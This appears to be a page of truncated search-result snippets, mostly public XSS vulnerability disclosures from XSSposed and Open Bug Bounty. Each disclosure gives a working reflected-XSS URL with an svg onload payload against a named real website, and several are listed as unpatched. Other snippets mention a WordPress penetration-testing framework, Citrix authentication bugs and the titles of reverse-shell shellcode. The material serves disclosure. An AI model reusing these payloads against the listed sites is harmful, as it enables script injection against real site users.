newjersey.gov XSS vulnerability

Vulnerable URL: http://www.newjersey.gov/cgi-bin/dhss/vital/registrars.pl?county=Camden%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

email.hbr.org XSS vulnerability

Vulnerable URL: https://email.hbr.org/preference-center?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

Wordpress-Exploit-Framework - A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems

A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems. What do I need to run it? Ensure that you have Ruby 2.2.x installed on your system and then install all required dependencies by opening a command prompt / terminal in...

giftsgalore.com XSS vulnerability

Vulnerable URL: http://www.giftsgalore.com/cgi-bin/quicksearch.cgi?department=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:46 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

nikah1.ru XSS vulnerability

Open Bug Bounty ID: OBB-135724 Description| Value ---|--- Affected Website:| nikah1.ru Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Dual Password Field wrongly shows in First Authentication Prompt when connecting to NetScaler Gateway using Receiver

Consider the following scenario, you are using LDAP + SMS passcode RADIUS authentication. The behavior is that user will first authenticate to LDAP, and then an SMS passcode is sent to their mobile device, which is used for authentication. Unless the user is authenticated to LDAP first, they will...

wadenc.com XSS vulnerability

Vulnerable URL: http://wadenc.com/searchresults.pl?searchtext=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

9diancaixun.com XSS vulnerability

Vulnerable URL: http://www.9diancaixun.com/authentication/transferDetail.jsp?amount=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

as2.ori.nic.in XSS vulnerability

Vulnerable URL: http://as2.ori.nic.in:8080/web/bus.jsp?msg=%27%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:27 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

February 2016 Security Update Release Summary

Today we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to apply security updates as soon as they are released. More information about this month’s security updates and advisories can be found in the Security...

Authentication Prompt Not Honoring Inactivity/Session Timeout Values on XenMobile

Authentication prompt is not honoring inactivity timeout value XenMobile 9.0 or the session timeout value specified XenMobile 10.0...

times2.cs.uiuc.edu XSS vulnerability

Vulnerable URL: http://times2.cs.uiuc.edu/cgi-bin/hkim277/COSDemo/lemur.cgi?q=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

loadmatch.com XSS vulnerability

Open Bug Bounty ID: OBB-129213 Description| Value ---|--- Affected Website:| loadmatch.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

printedswimhats.com XSS vulnerability

Vulnerable URL: http://www.printedswimhats.com/ShowProducts.aspx?SearchText=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

leollebali.com XSS vulnerability

Open Bug Bounty ID: OBB-122425 Description| Value ---|--- Affected Website:| leollebali.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat...

diamondhydraulics.com XSS vulnerability

Vulnerable URL: http://www.diamondhydraulics.com/img.php?imgName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 31.03.2016 Latest check for patch:| 31.03.2016 10:27 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

frituurtequilla.com XSS vulnerability

Vulnerable URL: http://www.frituurtequilla.com/pr/fullpicture.php?imagecode=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 12:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

moreton.net.au XSS vulnerability

Vulnerable URL: http://www.moreton.net.au/scripts/showimage.asp?imagename=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 12:01 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

TCP Reverse Shell with Password Prompt - 151 bytes

TCP Reverse Shell with Password Prompt - 151 bytes. Shellcode exploit for linx86-64 platform /--------------------------------------------------------------------------------------------------------------------- / Title: tcp reverse shell with password prompt in 151 bytes Author: Sathish kumar...

Linux/x86-64 - TCP Reverse Shell with Password Prompt Shellcode (151 bytes)

/--------------------------------------------------------------------------------------------------------------------- / Title: tcp reverse shell with password prompt in 151 bytes Author: Sathish kumar Contact: https://www.linkedin.com/in/sathish94 Copyright: c 2016 iQube. http://iQube.io Release...